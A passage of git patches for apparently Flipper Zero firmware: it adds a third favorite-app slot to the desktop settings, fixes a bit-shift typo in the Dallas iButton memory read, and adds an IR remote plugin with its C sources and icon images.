app->settings.favorite_primary.name_or_path))) { pre_select_item = i; } - } else { + } else if(primary_favorite == 1) { if((app->settings.favorite_secondary.is_external && !strcmp(FLIPPER_APPS[i].name, FAP_LOADER_APP_NAME)) || (!strcmp(FLIPPER_APPS[i].name, app->settings.favorite_secondary.name_or_path))) { pre_select_item = i; } + } else if(primary_favorite == 2) { + if((app->settings.favorite_tertiary.is_external && + !strcmp(FLIPPER_APPS[i].name, FAP_LOADER_APP_NAME)) || + (!strcmp(FLIPPER_APPS[i].name, app->settings.favorite_tertiary.name_or_path))) { + pre_select_item = i; + } } } - submenu_set_header( - submenu, primary_favorite ? "Primary favorite app:" : "Secondary favorite app:"); + if(primary_favorite == 0) { + submenu_set_header(submenu, "Primary favorite app:"); + } else if(primary_favorite == 1) { + submenu_set_header(submenu, "Secondary favorite app:"); + } else if(primary_favorite == 2) { + submenu_set_header(submenu, "Tertiary favorite app:"); + } submenu_set_selected_item(submenu, pre_select_item); // If set during loop, visual glitch. view_dispatcher_switch_to_view(app->view_dispatcher, DesktopSettingsAppViewMenu); @@ -85,18 +96,24 @@ bool desktop_settings_scene_favorite_on_event(void* context, SceneManagerEvent e if(event.type == SceneManagerEventTypeCustom) { if(strcmp(FLIPPER_APPS[event.event].name, FAP_LOADER_APP_NAME) != 0) { - if(primary_favorite) { + if(primary_favorite == 0) { app->settings.favorite_primary.is_external = false; strncpy( app->settings.favorite_primary.name_or_path, FLIPPER_APPS[event.event].name, MAX_APP_LENGTH); - } else { + } else if(primary_favorite == 1) { app->settings.favorite_secondary.is_external = false; strncpy( app->settings.favorite_secondary.name_or_path, FLIPPER_APPS[event.event].name, MAX_APP_LENGTH); + } else if(primary_favorite == 2) { + app->settings.favorite_tertiary.is_external = false; + strncpy( + app->settings.favorite_tertiary.name_or_path, + FLIPPER_APPS[event.event].name, + MAX_APP_LENGTH); } } else { const DialogsFileBrowserOptions browser_options = { @@ -109,32 +126,43 @@ bool desktop_settings_scene_favorite_on_event(void* context, SceneManagerEvent e .base_path = EXT_PATH("apps"), }; - if(primary_favorite) { // Select favorite fap in file browser + if(primary_favorite == 0) { // Select favorite fap in file browser if(favorite_fap_selector_file_exists( app->settings.favorite_primary.name_or_path)) { furi_string_set_str(temp_path, app->settings.favorite_primary.name_or_path); } - } else { + } else if(primary_favorite == 1) { if(favorite_fap_selector_file_exists( app->settings.favorite_secondary.name_or_path)) { furi_string_set_str(temp_path, app->settings.favorite_secondary.name_or_path); } + } else if(primary_favorite == 2) { + if(favorite_fap_selector_file_exists( + app->settings.favorite_tertiary.name_or_path)) { + furi_string_set_str(temp_path, app->settings.favorite_tertiary.name_or_path); + } } submenu_reset(app->submenu); if(dialog_file_browser_show(app->dialogs, temp_path, temp_path, &browser_options)) { - if(primary_favorite) { + if(primary_favorite == 0) { app->settings.favorite_primary.is_external = true; strncpy( app->settings.favorite_primary.name_or_path, furi_string_get_cstr(temp_path), MAX_APP_LENGTH); - } else { + } else if(primary_favorite == 1) { app->settings.favorite_secondary.is_external = true; strncpy( app->settings.favorite_secondary.name_or_path, furi_string_get_cstr(temp_path), MAX_APP_LENGTH); + } else if(primary_favorite == 2) { + app->settings.favorite_tertiary.is_external = true; + strncpy( + app->settings.favorite_tertiary.name_or_path, + furi_string_get_cstr(temp_path), + MAX_APP_LENGTH); } } } diff --git a/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c b/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c index e3f83d275..49c2e7422 100644 --- a/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c +++ b/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c @@ -6,9 +6,11 @@ #define SCENE_EVENT_SELECT_FAVORITE_PRIMARY 0 #define SCENE_EVENT_SELECT_FAVORITE_SECONDARY 1 -#define SCENE_EVENT_SELECT_PIN_SETUP 2 -#define SCENE_EVENT_SELECT_AUTO_LOCK_DELAY 3 -#define SCENE_EVENT_SELECT_BATTERY_DISPLAY 4 +#define SCENE_EVENT_SELECT_FAVORITE_TERTIARY 2 +#define SCENE_EVENT_SELECT_PIN_SETUP 3 +#define SCENE_EVENT_SELECT_AUTO_LOCK_DELAY 4 +#define SCENE_EVENT_SELECT_AUTO_LOCK_PIN 5 +#define SCENE_EVENT_SELECT_BATTERY_DISPLAY 6 #define AUTO_LOCK_DELAY_COUNT 9 const char* const auto_lock_delay_text[AUTO_LOCK_DELAY_COUNT] = { @@ -79,6 +81,8 @@ void desktop_settings_scene_start_on_enter(void* context) { variable_item_list_add(variable_item_list, "Secondary Favorite App", 1, NULL, NULL); + variable_item_list_add(variable_item_list, "Tertiary Favorite App", 1, NULL, NULL); + variable_item_list_add(variable_item_list, "PIN Setup", 1, NULL, NULL); item = variable_item_list_add( @@ -129,12 +133,17 @@ bool desktop_settings_scene_start_on_event(void* context, SceneManagerEvent even if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { case SCENE_EVENT_SELECT_FAVORITE_PRIMARY: - scene_manager_set_scene_state(app->scene_manager, DesktopSettingsAppSceneFavorite, 1); + scene_manager_set_scene_state(app->scene_manager, DesktopSettingsAppSceneFavorite, 0); scene_manager_next_scene(app->scene_manager, DesktopSettingsAppSceneFavorite); consumed = true; break; case SCENE_EVENT_SELECT_FAVORITE_SECONDARY: - scene_manager_set_scene_state(app->scene_manager, DesktopSettingsAppSceneFavorite, 0); + scene_manager_set_scene_state(app->scene_manager, DesktopSettingsAppSceneFavorite, 1); + scene_manager_next_scene(app->scene_manager, DesktopSettingsAppSceneFavorite); + consumed = true; + break; + case SCENE_EVENT_SELECT_FAVORITE_TERTIARY: + scene_manager_set_scene_state(app->scene_manager, DesktopSettingsAppSceneFavorite, 2); scene_manager_next_scene(app->scene_manager, DesktopSettingsAppSceneFavorite); consumed = true; break; @@ -145,6 +154,9 @@ bool desktop_settings_scene_start_on_event(void* context, SceneManagerEvent even case SCENE_EVENT_SELECT_AUTO_LOCK_DELAY: consumed = true; break; + case SCENE_EVENT_SELECT_AUTO_LOCK_PIN: + consumed = true; + break; case SCENE_EVENT_SELECT_BATTERY_DISPLAY: consumed = true; break; From eb355d4a16ed83fa78fcebf31b545e76054163ce Mon Sep 17 00:00:00 2001 From: Georgii Surkov Date: Fri, 17 Mar 2023 21:16:06 +0300 Subject: [PATCH 140/329] Fix a typo: right shift instead of greater than --- lib/one_wire/ibutton/protocols/dallas/dallas_common.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/one_wire/ibutton/protocols/dallas/dallas_common.c b/lib/one_wire/ibutton/protocols/dallas/dallas_common.c index 22b25db84..ebf57e555 100644 --- a/lib/one_wire/ibutton/protocols/dallas/dallas_common.c +++ b/lib/one_wire/ibutton/protocols/dallas/dallas_common.c @@ -85,7 +85,7 @@ bool dallas_common_read_mem(OneWireHost* host, uint16_t address, uint8_t* data, onewire_host_write(host, DALLAS_COMMON_CMD_READ_MEM); onewire_host_write(host, (uint8_t)address); - onewire_host_write(host, (uint8_t)(address > BITS_IN_BYTE)); + onewire_host_write(host, (uint8_t)(address >> BITS_IN_BYTE)); onewire_host_read_bytes(host, data, (uint16_t)data_size); From 20dbf61d048004e480584d895864ba72196d4f3e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 17 Mar 2023 22:19:13 +0000 Subject: [PATCH 141/329] Add ir remote --- .../plugins/ir_remote/application.fam | 14 + .../ir_remote/images/ButtonDown_7x4.png | Bin 0 -> 102 bytes .../ir_remote/images/ButtonLeft_4x7.png | Bin 0 -> 1415 bytes .../ir_remote/images/ButtonRight_4x7.png | Bin 0 -> 1839 bytes .../plugins/ir_remote/images/ButtonUp_7x4.png | Bin 0 -> 102 bytes .../plugins/ir_remote/images/Ok_btn_9x9.png | Bin 0 -> 3605 bytes .../plugins/ir_remote/images/back_10px.png | Bin 0 -> 154 bytes .../plugins/ir_remote/images/sub1_10px.png | Bin 0 -> 299 bytes .../plugins/ir_remote/infrared_remote.c | 188 ++++++ .../plugins/ir_remote/infrared_remote.h | 29 + .../plugins/ir_remote/infrared_remote_app.c | 599 ++++++++++++++++++ .../ir_remote/infrared_remote_button.c | 37 ++ .../ir_remote/infrared_remote_button.h | 14 + .../plugins/ir_remote/infrared_signal.c | 300 +++++++++ .../plugins/ir_remote/infrared_signal.h | 45 ++ applications/plugins/ir_remote/ir_10px.png | Bin 0 -> 305 bytes assets/resources/infrared/remote/Roku.txt | 12 + .../infrared/remote/example_remote.txt | 12 + 18 files changed, 1250 insertions(+) create mode 100644 applications/plugins/ir_remote/application.fam create mode 100644 applications/plugins/ir_remote/images/ButtonDown_7x4.png create mode 100644 applications/plugins/ir_remote/images/ButtonLeft_4x7.png create mode 100644 applications/plugins/ir_remote/images/ButtonRight_4x7.png create mode 100644 applications/plugins/ir_remote/images/ButtonUp_7x4.png create mode 100644 applications/plugins/ir_remote/images/Ok_btn_9x9.png create mode 100644 applications/plugins/ir_remote/images/back_10px.png create mode 100644 applications/plugins/ir_remote/images/sub1_10px.png create mode 100644 applications/plugins/ir_remote/infrared_remote.c create mode 100644 applications/plugins/ir_remote/infrared_remote.h create mode 100644 applications/plugins/ir_remote/infrared_remote_app.c create mode 100644 applications/plugins/ir_remote/infrared_remote_button.c create mode 100644 applications/plugins/ir_remote/infrared_remote_button.h create mode 100644 applications/plugins/ir_remote/infrared_signal.c create mode 100644 applications/plugins/ir_remote/infrared_signal.h create mode 100644 applications/plugins/ir_remote/ir_10px.png create mode 100644 assets/resources/infrared/remote/Roku.txt create mode 100644 assets/resources/infrared/remote/example_remote.txt diff --git a/applications/plugins/ir_remote/application.fam b/applications/plugins/ir_remote/application.fam new file mode 100644 index 000000000..1107ae45d --- /dev/null +++ b/applications/plugins/ir_remote/application.fam @@ -0,0 +1,14 @@ +App( + appid="ir_remote", + name="IR Remote", + apptype=FlipperAppType.EXTERNAL, + entry_point="infrared_remote_app", + stack_size=3 * 1024, + requires=[ + "gui", + "dialogs", + ], + fap_category="Tools", + fap_icon="ir_10px.png", + fap_icon_assets="images", +) diff --git a/applications/plugins/ir_remote/images/ButtonDown_7x4.png b/applications/plugins/ir_remote/images/ButtonDown_7x4.png new file mode 100644 index 0000000000000000000000000000000000000000..2954bb6a67d1c23c0bb5d765e8d2aa04b9b5adec GIT binary patch literal 102 zcmeAS@N?(olHy`uVBq!ia0vp^>_E)I!3HFqj;YoHDIHH2#}J9|(o>FH3<^BV2haYO z-y5_sM4;GPjq%Ck6>60csmUj6EiNa>ORduPH4*)h!w|e3sE@(Z)z4*}Q$iC10Gods AV*mgE literal 0 HcmV?d00001 diff --git a/applications/plugins/ir_remote/images/ButtonLeft_4x7.png b/applications/plugins/ir_remote/images/ButtonLeft_4x7.png new file mode 100644 index 0000000000000000000000000000000000000000..0b4655d43247083aa705620e9836ac415b42ca46 GIT binary patch literal 1415 zcmbVM+iKK67*5rq)>aU2M7$VM1Vxif;vTv~W2u`S7ED{V3s&&L*<`XiG|9wd+THd> z5CnY!sdyuJtrvQyAo>KpiLcV|{Tkc)riAbluXfwSZCApL`ztB&p zx6LGKvks4K_4~)qD&oGa-YdJlW)hAKMNJd7<=t?6c^RI1>c$ifyjaM>^|&8!ey zB4!nh9u>5uen6Ve@<H5rru6h<2Ef#GQdQ*CmZOlQi~N!?9H`Rp;C% zU}CB21#?;r`&0|6C0}b-=jODa5|nEJ#ntxQ&{~jpgtwDta4hftr~G=#p@V36e4Zjh zq%J~{y26Jjn=1Nw-l*3%QW5YFE*v4z3gt0$&(*xf2en34c?JpH8+FYldo+Alvg8af-pG4(=!fyUi-Wsg z`g#n9VUcf(DFr{poMSNzw-lz>w+HV+n1ELr&SLA#LHUb0p(xWQ(1*vJ-i+1!`swxZ Z!O7;c$;lT_->m1Ovaz)0yuI`A$q$F8u*d)a literal 0 HcmV?d00001 diff --git a/applications/plugins/ir_remote/images/ButtonRight_4x7.png b/applications/plugins/ir_remote/images/ButtonRight_4x7.png new file mode 100644 index 0000000000000000000000000000000000000000..8e1c74c1c0038ea55172f19ac875003fc80c2d06 GIT binary patch literal 1839 zcmcIlO>f*p7#Yw)M6zw!O+@VZ{?d|D~WYi~8rHRY?X-&T}Yen`g$^+EJ;z+|RV zE@PoDvZ9%#+_}3bC_5Cj8jDGq541mi{7F+&KF}W65sr$Xn5H|YrMQ2(J7%Yc%;(zO z57ax000=TsQ+1Ke@+w#iw3au3cGGQWY740k2ijH>P(6tD)S)be>gX6Tj7`<`b>di- zgWp$8Y+?i31~CzF0&E4uRlA=C(Mp~K`{74jEchB|)4DDK!ZVhSwdFyw0YIZ1cDh0S{OvfO-U_~ zvmRF*m9sWDXNH)GOyqS1Skhxbr6}s*7t&@~kFM(NW5}qh?Lu@lJ}HE;FDiLdGO>LO z5pS*%E2grR)l^;|?O5b_?u0me&c1U}%jrk8*%=Wk%i)8yp2P|kuxmKg<=(u_`oQRI_0 zS`-DNysBx=#3&qSkgA@hJP>~D+ZM(s5jI6Owp`?yE=3e`YGUqkVOp#Cp=3wR3O4hX zX6BLsN3UBzV(vI5;|SZHgOb=HD0VFjpTyfFW}GnQuh>2*Q`k>*cAmA#iUT7EXSpo# zkPm5~#I-o^cpgfe#P$=4-Pi*SpT!-@nJgp8L347xe>5EKl`=_ZFc8XGy+_j=_R_7! z@vZZMowS1GJ?Zw)eetks%~G{BTR>T}9|jt0j3Btyb*C3-`C?fwY3EY`q*oYZ39DpM z&uJ;PCZPLs4QO1Jd_|A1PF)azZJ)RZ`^-VMWr6e#XUOA%3eLG_Ch@BDOHzMk*MF0G zCo7xMd?Mg*HMIXw%nNz?%60fZiZPlqb?GqUpXO`F&Yi!okZl(n>P@r1P2i)yk3DgRwbHeNn6e|;J^SK4TM LH~i+q&mR8;k>NTA literal 0 HcmV?d00001 diff --git a/applications/plugins/ir_remote/images/ButtonUp_7x4.png b/applications/plugins/ir_remote/images/ButtonUp_7x4.png new file mode 100644 index 0000000000000000000000000000000000000000..1be79328b40a93297a5609756328406565c437c0 GIT binary patch literal 102 zcmeAS@N?(olHy`uVBq!ia0vp^>_E)I!3HFqj;YoHDIHH2#}J8d-yTOk1_O>mFaFD) zeWb+ZHz{mGZZ1QpXe09^4tcYT#4oe=UbmGC^A-KE*|F&zP#=S*tDnm{r-UX30HgpM AM*si- literal 0 HcmV?d00001 diff --git a/applications/plugins/ir_remote/images/Ok_btn_9x9.png b/applications/plugins/ir_remote/images/Ok_btn_9x9.png new file mode 100644 index 0000000000000000000000000000000000000000..9a1539da2049f12f7b25f96b11a9c40cd8227302 GIT binary patch literal 3605 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 +#include +#include +#include +#include +#include +#include + +#define TAG "InfraredRemote" + +ARRAY_DEF(InfraredButtonArray, InfraredRemoteButton*, M_PTR_OPLIST); + +struct InfraredRemote { + InfraredButtonArray_t buttons; + FuriString* name; + FuriString* path; +}; + +static void infrared_remote_clear_buttons(InfraredRemote* remote) { + InfraredButtonArray_it_t it; + for(InfraredButtonArray_it(it, remote->buttons); !InfraredButtonArray_end_p(it); + InfraredButtonArray_next(it)) { + infrared_remote_button_free(*InfraredButtonArray_cref(it)); + } + InfraredButtonArray_reset(remote->buttons); +} + +InfraredRemote* infrared_remote_alloc() { + InfraredRemote* remote = malloc(sizeof(InfraredRemote)); + InfraredButtonArray_init(remote->buttons); + remote->name = furi_string_alloc(); + remote->path = furi_string_alloc(); + return remote; +} + +void infrared_remote_free(InfraredRemote* remote) { + infrared_remote_clear_buttons(remote); + InfraredButtonArray_clear(remote->buttons); + furi_string_free(remote->path); + furi_string_free(remote->name); + free(remote); +} + +void infrared_remote_reset(InfraredRemote* remote) { + infrared_remote_clear_buttons(remote); + furi_string_reset(remote->name); + furi_string_reset(remote->path); +} + +void infrared_remote_set_name(InfraredRemote* remote, const char* name) { + furi_string_set(remote->name, name); +} + +const char* infrared_remote_get_name(InfraredRemote* remote) { + return furi_string_get_cstr(remote->name); +} + +void infrared_remote_set_path(InfraredRemote* remote, const char* path) { + furi_string_set(remote->path, path); +} + +const char* infrared_remote_get_path(InfraredRemote* remote) { + return furi_string_get_cstr(remote->path); +} + +size_t infrared_remote_get_button_count(InfraredRemote* remote) { + return InfraredButtonArray_size(remote->buttons); +} + +InfraredRemoteButton* infrared_remote_get_button(InfraredRemote* remote, size_t index) { + furi_assert(index < InfraredButtonArray_size(remote->buttons)); + return *InfraredButtonArray_get(remote->buttons, index); +} + +bool infrared_remote_find_button_by_name(InfraredRemote* remote, const char* name, size_t* index) { + for(size_t i = 0; i < InfraredButtonArray_size(remote->buttons); i++) { + InfraredRemoteButton* button = *InfraredButtonArray_get(remote->buttons, i); + if(!strcmp(infrared_remote_button_get_name(button), name)) { + *index = i; + return true; + } + } + return false; +} + +bool infrared_remote_add_button(InfraredRemote* remote, const char* name, InfraredSignal* signal) { + InfraredRemoteButton* button = infrared_remote_button_alloc(); + infrared_remote_button_set_name(button, name); + infrared_remote_button_set_signal(button, signal); + InfraredButtonArray_push_back(remote->buttons, button); + return infrared_remote_store(remote); +} + +bool infrared_remote_rename_button(InfraredRemote* remote, const char* new_name, size_t index) { + furi_assert(index < InfraredButtonArray_size(remote->buttons)); + InfraredRemoteButton* button = *InfraredButtonArray_get(remote->buttons, index); + infrared_remote_button_set_name(button, new_name); + return infrared_remote_store(remote); +} + +bool infrared_remote_delete_button(InfraredRemote* remote, size_t index) { + furi_assert(index < InfraredButtonArray_size(remote->buttons)); + InfraredRemoteButton* button; + InfraredButtonArray_pop_at(&button, remote->buttons, index); + infrared_remote_button_free(button); + return infrared_remote_store(remote); +} + +bool infrared_remote_store(InfraredRemote* remote) { + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_file_alloc(storage); + const char* path = furi_string_get_cstr(remote->path); + + FURI_LOG_I(TAG, "store file: \'%s\'", path); + + bool success = flipper_format_file_open_always(ff, path) && + flipper_format_write_header_cstr(ff, "IR signals file", 1); + if(success) { + InfraredButtonArray_it_t it; + for(InfraredButtonArray_it(it, remote->buttons); !InfraredButtonArray_end_p(it); + InfraredButtonArray_next(it)) { + InfraredRemoteButton* button = *InfraredButtonArray_cref(it); + success = infrared_signal_save( + infrared_remote_button_get_signal(button), + ff, + infrared_remote_button_get_name(button)); + if(!success) { + break; + } + } + } + + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + return success; +} + +bool infrared_remote_load(InfraredRemote* remote, FuriString* path) { + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_buffered_file_alloc(storage); + + FuriString* buf; + buf = furi_string_alloc(); + + FURI_LOG_I(TAG, "load file: \'%s\'", furi_string_get_cstr(path)); + bool success = flipper_format_buffered_file_open_existing(ff, furi_string_get_cstr(path)); + + if(success) { + uint32_t version; + success = flipper_format_read_header(ff, buf, &version) && + !furi_string_cmp(buf, "IR signals file") && (version == 1); + } + + if(success) { + path_extract_filename(path, buf, true); + infrared_remote_clear_buttons(remote); + infrared_remote_set_name(remote, furi_string_get_cstr(buf)); + infrared_remote_set_path(remote, furi_string_get_cstr(path)); + + for(bool can_read = true; can_read;) { + InfraredRemoteButton* button = infrared_remote_button_alloc(); + can_read = infrared_signal_read(infrared_remote_button_get_signal(button), ff, buf); + if(can_read) { + infrared_remote_button_set_name(button, furi_string_get_cstr(buf)); + InfraredButtonArray_push_back(remote->buttons, button); + } else { + infrared_remote_button_free(button); + } + } + } + + furi_string_free(buf); + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + return success; +} + +bool infrared_remote_remove(InfraredRemote* remote) { + Storage* storage = furi_record_open(RECORD_STORAGE); + + FS_Error status = storage_common_remove(storage, furi_string_get_cstr(remote->path)); + infrared_remote_reset(remote); + + furi_record_close(RECORD_STORAGE); + return (status == FSE_OK || status == FSE_NOT_EXIST); +} diff --git a/applications/plugins/ir_remote/infrared_remote.h b/applications/plugins/ir_remote/infrared_remote.h new file mode 100644 index 000000000..6eac193d3 --- /dev/null +++ b/applications/plugins/ir_remote/infrared_remote.h @@ -0,0 +1,29 @@ +#pragma once + +#include + +#include "infrared_remote_button.h" + +typedef struct InfraredRemote InfraredRemote; + +InfraredRemote* infrared_remote_alloc(); +void infrared_remote_free(InfraredRemote* remote); +void infrared_remote_reset(InfraredRemote* remote); + +void infrared_remote_set_name(InfraredRemote* remote, const char* name); +const char* infrared_remote_get_name(InfraredRemote* remote); + +void infrared_remote_set_path(InfraredRemote* remote, const char* path); +const char* infrared_remote_get_path(InfraredRemote* remote); + +size_t infrared_remote_get_button_count(InfraredRemote* remote); +InfraredRemoteButton* infrared_remote_get_button(InfraredRemote* remote, size_t index); +bool infrared_remote_find_button_by_name(InfraredRemote* remote, const char* name, size_t* index); + +bool infrared_remote_add_button(InfraredRemote* remote, const char* name, InfraredSignal* signal); +bool infrared_remote_rename_button(InfraredRemote* remote, const char* new_name, size_t index); +bool infrared_remote_delete_button(InfraredRemote* remote, size_t index); + +bool infrared_remote_store(InfraredRemote* remote); +bool infrared_remote_load(InfraredRemote* remote, FuriString* path); +bool infrared_remote_remove(InfraredRemote* remote); diff --git a/applications/plugins/ir_remote/infrared_remote_app.c b/applications/plugins/ir_remote/infrared_remote_app.c new file mode 100644 index 000000000..06b619430 --- /dev/null +++ b/applications/plugins/ir_remote/infrared_remote_app.c @@ -0,0 +1,599 @@ +#include +#include + +#include +#include +#include +#include + +#include +#include + +#include "infrared_signal.h" +#include "infrared_remote.h" +#include "infrared_remote_button.h" +#define TAG "IR_Remote" +#define MENU_BTN_TXT_X 36 + +#include + +typedef struct { + int status; + ViewPort* view_port; + FuriString* up_button; + FuriString* down_button; + FuriString* left_button; + FuriString* right_button; + FuriString* ok_button; + FuriString* back_button; + FuriString* up_hold_button; + FuriString* down_hold_button; + FuriString* left_hold_button; + FuriString* right_hold_button; + FuriString* ok_hold_button; +} IRApp; + +// Screen is 128x64 px +static void app_draw_callback(Canvas* canvas, void* ctx) { + // Show config is incorrect when cannot read the remote file + // Showing button string in the screen, upper part is short press, lower part is long press + IRApp* app = ctx; + if(app->status) { + canvas_clear(canvas); + view_port_set_orientation(app->view_port, ViewPortOrientationHorizontal); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Config is incorrect."); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignTop, "Please configure map."); + canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Press Back to Exit."); + } else { + canvas_clear(canvas); + view_port_set_orientation(app->view_port, ViewPortOrientationVertical); + canvas_draw_icon(canvas, 1, 5, &I_ButtonUp_7x4); + canvas_draw_icon(canvas, 1, 15, &I_ButtonDown_7x4); + canvas_draw_icon(canvas, 2, 23, &I_ButtonLeft_4x7); + canvas_draw_icon(canvas, 2, 33, &I_ButtonRight_4x7); + canvas_draw_icon(canvas, 0, 42, &I_Ok_btn_9x9); + canvas_draw_icon(canvas, 0, 53, &I_back_10px); + + //Labels + canvas_set_font(canvas, FontSecondary); + + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 8, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->up_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 18, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->down_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 28, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->left_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 38, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->right_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 48, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->ok_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 58, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->back_button)); + + canvas_draw_line(canvas, 0, 65, 64, 65); + + canvas_draw_icon(canvas, 1, 70, &I_ButtonUp_7x4); + canvas_draw_icon(canvas, 1, 80, &I_ButtonDown_7x4); + canvas_draw_icon(canvas, 2, 88, &I_ButtonLeft_4x7); + canvas_draw_icon(canvas, 2, 98, 